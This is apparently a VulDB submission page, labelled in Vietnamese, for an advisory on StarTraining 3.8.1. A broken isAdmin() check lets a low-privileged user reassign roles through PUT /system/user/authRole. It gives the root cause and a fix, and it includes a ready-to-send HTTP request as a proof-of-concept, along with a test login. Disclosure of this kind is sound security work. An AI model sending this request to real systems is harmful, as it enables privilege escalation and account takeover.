| tiêu đề | zhistaredu StarTraining 3.8.1 Improper Authorization |
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| Mô tả | StarTraining 3.8.1 — Broken data-scope check enables arbitrary role reassignment (IDOR) (ST-VULN-004)
Product: StarTraining 3.8.1
CWE: CWE-639 / CWE-862
Classification: Improper Authorization
=== SUMMARY ===
`SysUser.isAdmin(String userId)` returns true whenever userId != null, so `checkUserDataScope()` never restricts access. `PUT /system/user/authRole` reassigns roles for arbitrary userId.
=== ROOT CAUSE ===
Broken isAdmin() + missing @PreAuthorize on user role grant endpoint.
=== REPRODUCTION ===
# Login low user wukong/admin123 or use forged JWT
PUT /system/user/authRole HTTP/1.1
Host: 127.0.0.1:8900
Authorization: LOW_USER_TOKEN
Content-Type: application/x-www-form-urlencoded
Connection: close
userId=fa36ec75-160a-47e4-8140-ef1e94c5d329&roleIds=0cd789a0-1187-4c62-901d-a2801794e27a
Expected: HTTP 200; victim admin roleIds replaced
=== IMPACT ===
Horizontal/vertical privilege escalation within tenant.
=== FIX ===
Fix isAdmin to check real admin flag; enforce @PreAuthorize; validate roleIds scope.
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| Nguồn | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-004-idor-auth-role-privesc.md |
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| Người dùng | thmanhz (UID 100327) |
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| Đệ trình | 05/08/2026 02:18 (cách đây 2 các tháng) |
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| Kiểm duyệt | 27/09/2026 05:38 (2 months later) |
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| Trạng thái | được chấp nhận |
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| Mục VulDB | 410808 [zhistaredu StarTraining đến 3.8.1 authRole Endpoint SysUser.java SysUser.isAdmin userId/roleIds nâng cao đặc quyền] |
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| điểm | 20 |
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